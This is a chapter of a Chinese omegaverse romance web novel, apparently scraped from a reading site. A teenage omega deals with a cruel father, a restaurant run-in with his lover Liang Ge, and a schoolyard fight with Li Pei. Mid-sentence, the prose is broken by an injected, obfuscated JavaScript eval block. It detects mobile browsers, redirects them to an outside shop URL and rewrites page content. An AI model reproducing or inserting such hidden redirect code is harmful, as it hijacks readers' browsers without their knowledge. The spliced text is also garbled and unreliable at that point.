他瞟了眼文案区的人设和简介,高冷美人a和运动系帅哥o,他翻了两页怎么看怎么像郁仪和林松松,叫他非常不爽。 祝余看漫画从来不评论,不喜欢划过去就得了,但今天不是。他点进评论区打字,“能不能画温柔a跟话少o?a帮了o,然后谈恋爱,我想看。” 发完保姆就喊他吃燕窝,从他分化那天起他爸就一直让他多吃燕窝,祝余把燕窝和糯米椰混在一块当甜品吃,夏天稍微冰镇一下很清爽解暑。 他端着椰子回床上,拿起手机就发现被人骂了。 “你以为餐厅点餐啊,还你想看?白嫖还在这指手画脚,而且温柔a和话少o,这么老土的人设你最好是开玩笑。我一秒想到剧情,温柔霸道a发现了话少可怜被排挤的o,本来想逗逗,可是发现他乖巧可爱还会做饭,就爱上了,救赎了,结婚了,把他娶回去做饭生三胎了,ao刻板印象能不能滚——” 祝余看了这条回复两秒,把糯米椰往旁边矮几上一扔,“谁说o软糯了?谁说o可怜了?他话少是因为他性格超差!超差!超差! 白嫖两个字又把他刺痛了,他开始疯狂地按打赏键,不停地按,不停地按,整个界面都被他的礼物信息刷屏。他自己都不知道按了多少下,直到指关节发酸,他才随手把手机扔到床上,人也躺倒下来,并不觉得爽快,花完钱之后,更空虚了。 他侧躺在床上,看见矮几上的椰子已经倒了,混着燕窝的椰汁黏稠地流下来,淌在地毯上。 祝余觉得自己比这只破了壳,流光了汁的椰子还要空虚。 天气更热了,已经爬上三十度,看着太阳透出树隙筛下来的光斑都觉得晒人。 这些天林松松来找他的频率明显有所降低,可能是谈恋爱去了,李沛倒是还殷勤地在他跟前打转,霸着祝余前座,信马由缰地和他说一些不相关的琐事。 祝余听得魂不守舍,可是他说起他哥。 他说,“我爸是我哥他爸就是我姨夫的部下,小时候跟我哥一起玩,我爸会私底下授意我,东西让哥哥先选,不要和他抢。” 李沛生日那天祝余见到了他的另一个beta父亲,在林松松溺水被送出去的时候,他刚好回来。是个军人,很符合大众对军人的刻板印象,严格军纪下规训出来的沉默冷硬,除了身架高大挺正外长相只能算中等,偏黑。他看着李沛,不怒自威,“怎么回事?” 这种看起来就刚正不阿的人,居然会私底下授意儿子这些。 可李沛定定看着祝余,无由来透出股狠劲儿,“但从小到大我哥都让我先选,不管什么东西,只要我喜欢,他一定让给我。” 祝余抬头看了他一眼,然后起身就走了。 / 晚饭难得他爸和继母都在家,一起吃了晚餐,席间他爸多次提及结亲的事。 祝余是一个17岁的omega,明年就到婚龄,从他分化成omega的那刻起,求亲的橄榄枝简直纷至沓来,没有一刻消停过。他爸因此饱受骚扰,或许也有工作上受阻的原因,情绪很差,不停对omega的婚龄政策、社会现状、政客亚性别比例严重失调进行抨击。 作为过来人激进的经验之谈,他希望祝余如果恋爱结婚一定要选择女a或者男b,较之男a来这两者明显更温和也更不具攻击性。 他试探着问祝余,“你和霓霓不是很亲近吗?” 言下有些意味,大概觉得他和夏霓青梅竹马,两家知根知底,夏霓又是个女a,还是祝余极少数关系融洽的同龄人,可以发展一下。 祝余对他这样乱点鸳鸯谱般的异想天开感到离谱,没怎么应腔,吃完晚饭后,他回到卧室。 他不知道李沛什么时候察觉的,他也不知道李沛以什么立场来说出“让给我”,李沛把他当什么?一个没有自主意识,仅供他和梁阁挑选,谁不要另一个人就得到的消遣品? 他并不对李沛感到抱歉,他自始至终都在拒绝李沛,明确告诉他这不是欲拒还迎,他从来不收李沛的礼物,上次出去玩纵使李沛不要,他也把花销转给了他,很过分吗? 而且李沛自己送上门当撩机的,他凭什么不用? 祝余是这种人,他要的他就要得到,他不要的予他千金都不要。 可梁阁是哪种人呢?他到底怎么想的呢?他又把我当什么呢? 很长一段时间祝余都在*爱和暧昧里迷失,可他乍然冷静下来,拂开那一场场暧昧的迷雾,抽丝剥茧般揣探梁阁的真心。 那些你来我往,那些耳鬓厮磨,那些人前的疏离、人后的狎昵,那些吻。 似乎有一点喜爱,可是那种喜爱里也是逗弄成分居多,就好像,对漂亮可爱的小猫小狗,只不过他是人,还可以c一下。 他不喜欢我。 我这么优秀,聪明,漂亮,他居然都不喜欢。 祝余猝然被击倒了,虚无地瘫在卧室的沙发上,一条腿无欲无求地悬着,夏霓就打来了电话。 祝余好一会儿才摸到手机,递到耳边,浑噩地听着夏霓的声音。 他感到苦闷和挫败,又想起他爸今天的话,问夏霓,“为什么我们从小一起长大,你是alpha,我是omega,可是你对我一点感觉都没有啊?” 为什么呢?为什么不喜欢我呢? “第一,我只喜欢女性,而且最好是beta女性。第二,你完全长在我的审美区之外,bb我对你没有杏欲。” “所以我在你眼里很丑?” “当然不是,你长得好是客观事实,只是我对这类长相不来电。” 祝余不接受她的亡羊补牢,悒悒不乐。夏霓明天有假期,问他要不要见面出来玩,祝余想了想,答应了。 翌日祝余先到,没等多少夏霓就说她也到了,祝余抬头都不消去找,人潮里一眼就看到她。 她非常白,又高挑,穿着短款夹克内搭Bralette,下身是一条工装裤,褐金色的长卷发散着,顶着张模特惯有的厌世臭脸,看起来没怎么打扮,但非常出挑美丽,她一步步走过来,人群都褪色。 夏霓迎面将他抱了个满怀,有清淡的广藿香,祝余被她箍在怀里闷闷地说,“虽然你说我丑,但我还是觉得你是超级大美女。” 夏霓比他高,拥抱完,顺势揽住他肩膀往前走,明媚地笑起来,“谢谢bb!但是我没说你丑,我只是说你不在我的择偶范围内。” 祝余任她揽着,没说什么。 “你今天怎么来的,司机姐姐呢?”夏霓问。 祝余的司机是个二十八岁的beta女性,退役军人,很干练飒爽,身手极佳,可以兼任保镖。 他都不知道夏霓什么时候对他的司机起心思的,“回去了。” 夏霓很有些可惜,又追问,“她晚点会来接你吗?” 祝余无奈地看着她,半晌点了头。 夏霓高高兴兴地揽住他,两个人逛了一圈,夏霓带他去一家新开的餐厅吃饭,“是我的化妆师跟我推荐的,说这里甜品很不错,你尝尝。” 侍者领着他们入座,祝余无心观察环境,木然跟在后面,眼神朝前一瞥,冷不丁一怵。 梁阁居然也在这间餐厅吃饭,看桌上食物应该来了一会儿了,和他同行的是个看上去比他大几岁的男人,亚性别不明。 他全然没想到会在这里遇见梁阁,那天之后他和梁阁再没有联系过,也不打照面,梁阁也没有找他,原本周三下午的社团活动他们会默契地在梁阁公寓里做/爱,但这周也没有,就这么冷下来了,仿佛两个没有交集的陌生人。 梁阁看到他,似乎也惊诧了一瞬,很快收敛,非常平和地对他笑了一下。 他太常笑了,有时候祝余都不知道他是真的笑了,还是唇型天生就有向上的弧度,让人以为他在笑。 祝余很想扭头就走,但这似乎又败了一仗,他漠视了梁阁的笑,较着劲般地跟着侍者入座。 位置隔得不太远,两桌互相看得到动静,落座之后,夏霓问他,“他是不是那个男a?” 她是第六感极其敏锐的女a,显然察觉到他们那瞬间的暗流涌动了。 祝余明知故问,“哪个?” 夏霓笑起来,“你玩弄的那个。” 祝余心不在焉地“嗯”了一声。 “你不是说他有点小帅吗?”夏霓问。 “嗯。” 难道不帅? 夏霓悠哉地打量那桌,牙齿轻咬叉子前端,饶有兴味地说,“我看他分明帅得要命。” 祝余无来由一阵慌张,脱口而出,“你不是喜欢女beta吗?” 夏霓玩味地看着他,有一点点戏谑,“这么着急啊?” 祝余撇开脸,“不是,没有,我是好奇。” 夏霓笑笑,没再说什么,但一直支着脸往那桌打量,大概她目光太肆无忌惮,侍者上餐的时候梁阁倏地抬起眼望过来。夏霓半点惊惶也无,她顺势端起手边的配酒举高,笑吟吟地朝他示意。 梁阁回了她一个笑,视线又移开,触到祝余,也微微笑了一下。 祝余当即高傲冷硬地别开了脸,那扭头的力度,夏霓真怕他颈椎错位。 这间餐厅以甜点见长,开场就上了三道小甜点,第一道外壳像一枚粉色的小果子,里面是清爽的柚子汁和青柠汁,第二道是栗子做成的脆皮加上栗子酱,第三道是个西蓝花挞。 风味都上佳,但祝余如同嚼蜡,食不知味,他沉着脸机械地放进嘴里。 夏霓两边观摩片刻,“bb你确定你在玩弄他?” 祝余抬起脸,“嗯。” “我怎么觉得你玩不过他。” 祝余一下被点着了,腾地躁起来,好似被看低,“我可能怎么玩不过他!?你以为我是什么天真小白兔吗?” 他气得脸颊都泛起红晕,夏霓看他急急躁躁的,想了想,切下一小块小牛胸腺,叉住递到祝余嘴边,红唇勾出一个笑,“吃一口。” 祝余不动,他不习惯吃别人餐盘里的食物,就算是夏霓,而且他刚才明明看到夏霓一直咬着叉子,他眼珠下瞥警惕地盯着那一块小牛胸腺,“我不要,我有。” 夏霓笑容更盛,笑眯眯看着他,“吃一口嘛,快点,我手都酸了。” 祝余从她明丽甜蜜的笑容中品出一丝丝胁迫的凶光,僵持半晌,他凑过去张开嘴将小牛胸腺咬入口中。 夏霓更加甜蜜地笑着看他,“味道好吗?” 祝余囫囵地快速咀嚼着,“嗯。” 夏霓重新拿起刀叉,悄然朝那方投去一眼,在餐厅清幽偏暗的光线里,梁阁仍然低着头不紧不慢地进食,不时微笑和同行人说些什么,八风不动,不知道是没注意到,还是根本不在意。 嘁,没意思。 用餐期间祝余一直没怎么抬头,神色冷淡,只间或应夏霓几句话,直到夏霓吃得差不多了,和他说,“我去洗手间。” 祝余再抬起头时梁阁那桌已经空了,他下意识抻长脖颈四处看了一圈,确实已经走了。他郁郁地坐回去,人在的时候他连眼皮都不往那抬一眼,可人走了他又有些怅然若失。 就这么走了? 最后又上了一份柑橘冰激凌,可祝余已经没心情吃了。 他全然不知道自己抬起来四处张望,又失望落座的样子被梁阁尽收眼底,梁阁又看了会儿,走出监控室。 餐厅的老板之一、梁阁的同行人就笑着跟上来,“这男孩儿是o吧?总觉得见过,你从哪儿认识的?” 梁阁想了想,“美少年工厂。” 同行人大为讶异,追问道,“还有这种地方,说说,说说,哪儿?” 梁阁笑,“学校。” 近几天连日阴雨,今早起来才放晴。 早上吃得很清淡,梅童鱼配松茸粥,祝余猜测父亲最近一定工作不顺,他在焦虑的时候格外地喜欢说教,饭桌上气压很低,除了继母偶尔言声,只剩他爸情绪宣泄似的发问和说教。这些话祝余大概听过一万次了,他十几年都在这种静脉注射式的洗脑中长大,连他爸下句会说什么都知道。 祝余心情很差,胃口也不好,垂着眼轻轻搅弄碗里的粥,没怎么听也没怎么应声。 他爸忽然发问,“你为什么一直不回答,你没听我说话吗?” 祝余放下调羹,“我心情不好。” 他爸脸色更沉了,看着他,“是我说话让你心情不好吗?我们一家人坐在一起吃早餐的时间很多吗?我和你莫阿姨工作那么忙,抓紧时间陪伴你,关怀你,生怕你出一点差错,你就选这个时候心情不好?” 祝余没说话。 他这副冷冷木木的模样可能愈加激恼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084473|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他爸,他爸继续说,“我不知道为什么你明明从小就是我一个人带大的,但是你和我一点也不亲?是因为那时候我工作太忙,还是因为你天生就和你牢里那个畜生爹一个德行?” 继母出声制止,“不要说了。” 他爸偏头看着继母,“你以为我是在骂他?我这是教育!” 他又看着祝余,“你是不是觉得我说话没有用,你在跟我骄傲什么?你拥有的一切都来自于我,你聪明、漂亮是我的基因,你优越的生活条件是因为我的财富和地位,你所有骄傲的资本都来源于我,你跟我骄傲?” 祝余仍然一声不吭。 “从小你的性格就很怪,木讷,偏激,又自以为是,你有朋友吗?除了霓霓,你一个朋友也没有吧?你知道为什么吗?因为你一丁点儿都不讨人喜欢。”他提高声量,“你这种性格,生得再漂亮也没人会喜欢!” 继母两手用力拍在桌上,沉声道,“好啦!” 饭厅陷入沉默,凝重而死寂的沉默。 祝余忽地抬起脸来,浅色的瞳仁没有情绪地看着他爸,“至少我没看上一个穷鬼,也没和他私奔。” 他说完起身就走,刚走出门,就听见他爸把调羹摔进瓷碟里的巨大声响,他径直走进车里。 司机从内视镜看了一眼,似乎看出他情绪不好,“怎么了?不开心吗?” 祝余看着窗外,没说话。 他想,现在不开心的,可不是我。 今天又是礼拜三,下午的社团活动祝余露了个面就走了,隔壁合奏社在排练,乐声悠扬。 出来时广场上正在办什么活动,今天天清气爽,并不很热,是个奖赏性质的室外游戏,李沛一行人在玩。梁阁沈释他们都不在,只有李沛和他那伙跟班,还有一个omega男生。 自从那天之后,李沛也很少再来他面前转悠,这个omega是不久前转来的,据说是李沛的新邻居,有一双明眸善睐的桃花眼,非常白皙美丽。李沛这些天一直在带他熟悉环境,同进同出,举止密切。祝余原本对这些事毫不关心,但有些人似乎生怕他不知道,时常在他身边,后面,经过的时候大声讨论这些事,用以告知他失宠了、受冷落了、被抛弃了。 占着场子的都是李沛他们一伙人,也没正经玩,奖品都不是谁赢了给谁,是轮着拿,全无竞争,反正都是些小玩意儿,下局轮到李沛了。 omega站在李沛身边,白皙的脸盘被热得泛出粉晕,分外动人,他看着奖品台,悄声地仿佛羞怯地和李沛说,“我想要那个。” 李沛看了就笑,爽快地说,“那么个丑东西啊,行,给你!” 他眼睛弯弯地看着李沛笑起来,“沛沛,你真好。” 祝余站在场边定了片刻,有女生上来问他要不要参加,有奖品可以拿。祝余瞟了眼,下局的奖品是一个红色的章鱼肠玩偶,像是他喜欢的某本漫画的周边。 李沛看到他,愣了愣,又笑起来招呼道,“祝祝,一起来玩吧,挺好玩的。” 横竖清闲,祝余看着那个章鱼肠玩偶,朝女生点了头。 活动规则简单,机器出球,会随机出一个数字,只要用球击中相应的数字板就好了。 但参与者们散漫,懒洋洋地插科打诨,屡次耍宝,球几次落到地上,一群人还没头没尾地哄笑。祝余烦得要命,径直站到前头,看清数字后,等球一出直接打过去,命中数字牌。 周围的人起哄了一阵,女生拿着那个章鱼肠玩偶过来,有几人笑这东西丑怪丑怪的。祝余正要伸手去拿,李沛就示意,“这儿。”拿过来就递到omega怀里。 祝余愣了愣,不明就里,“这是我赢的东西。” 李沛这才转过身来,向他解释,“祝祝我们不是这么算的,我们规矩是轮着拿的,这次是轮到他了,下回就给你好吗?” 祝余不知道他们的规矩,他也不准备遵循他们的规矩,“要是你们赢的,随便你们怎么办,可这是我赢的东西,我要拿走。” 他语气太认真正经,场上静了一静,omega漂亮的眼睛迷茫地睁着,抱着玩偶,像是被车灯吓到的小鹿一般。 李沛站在omega身前,对着祝余一副伏低做小的笑模样,“但我们规矩就是这样的,确实是轮到他了,也给他了,截了他的也不好吧?下回一定给你,好不好?你就先让让他嘛。” 周围人纷纷附和,让让他吧。 祝余并不打算继续玩,他拿了这个章鱼肠玩偶就要走,而且他凭什么要让。 他冷漠地说,“你们没打到,关我什么事?” 他行事作风一向傲慢,而且惯常轻厌alpha,本就很多人对他不满,顿时嘘声四起。 “是啊,谁有你牛逼,你多了不起啊?”“你厉害你厉害。”…… omega连忙打圆场,内疚地说,“哎呀,别为了这种小事吵架了,他不是这个意……” 李沛忽然对祝余说,“你太霸道了,这么自私,你知不知道你这样很讨人厌?” 霸道,自私,讨人厌。 这话说出口李沛就知道他说错话了,因为祝余看他的眼睛变得灰冷一片。 周围也跟着静下来,所有人都看着他们,或多或少都有看笑话的意思,祝余只看着李沛。 有人走了过来,祝余又闻到那股幽微的,似温还寒的气息。 梁阁站在他们中间,侧身低下眼看着李沛,慢声慢气地像在和小孩说话,“沛沛,谁赢的就是谁的,你有点没道理了。” 他又看着omega,笑着说,“你也喜欢的话,不如叫沛沛再送你一个,他一定很愿意。” 他一来,旁人更静了,看笑话的也不看了,屏息静气地装作在看别处。 李沛往常最听他哥的话,从不和他哥呛声唱反调。 可他今天牙关紧咬,语带机锋,“你干嘛要掺和?” 梁阁平静地说,“那我白白看他委屈?” 李沛较着劲说,“他受委屈,又和你有什么关系?” 祝余定定看着李沛,“原来你也知道是我受委屈啊?” 李沛眼神游移,又改口道,“这算什么委屈?不就是要你先把东西让给他吗?我们本来就是这个规矩。” omega像是被吓到了,急忙说,“算了算了,我不要了。” “你不要了?”祝余走过去,一把将玩偶夺过来。 “东西本来就是我赢的,我拿走。”他冷冷地瞥李沛一眼,“这个人是我不要的,捡不捡随你。” 他说完就走,李沛无来由一阵心惶,口舌发苦,连忙上去拽住祝余胳膊,“祝祝,祝……” 祝余被扯得回过身来,提腿对着李沛腹部就是一脚,李沛登时让他踹得退出好几米远,狼狈地跌坐在地上。 祝余盛气凌人地乜着他,眼里阴得冒火,“别再来我面前当哈巴狗,恶心。” 体育馆的公用盥洗室,虽是夏天但位置背阴,静悄悄的,清凉得甚至有些冷。 祝余站在盥洗台前,用冷水冲了两把脸,他看着镜子里自己布着水珠的脸,胸口起伏,呼吸都急促而浑重,不停喃喃自我催眠,“你一点也不差,你非常可爱。” “你一点也不差,你非常可爱。” “你一点也不差,你非常可爱。” …… 不知道念了多少遍,直到他的视线不再因高度的神经紧绷而聚集在一点,视野慢慢扩大,才透过镜子看见后面倚着墙壁的梁阁,左手搂着那只半路上被他不慎掉落的章鱼肠玩偶,透过镜子和他对视着,不知看了多久了。 祝余一动不动。 梁阁慢慢走上前来,站在他身后,俯下身,右手覆在他撑在盥洗台的手背上,顺着指缝扣紧,他说,“你一点也不差,你非常可爱。”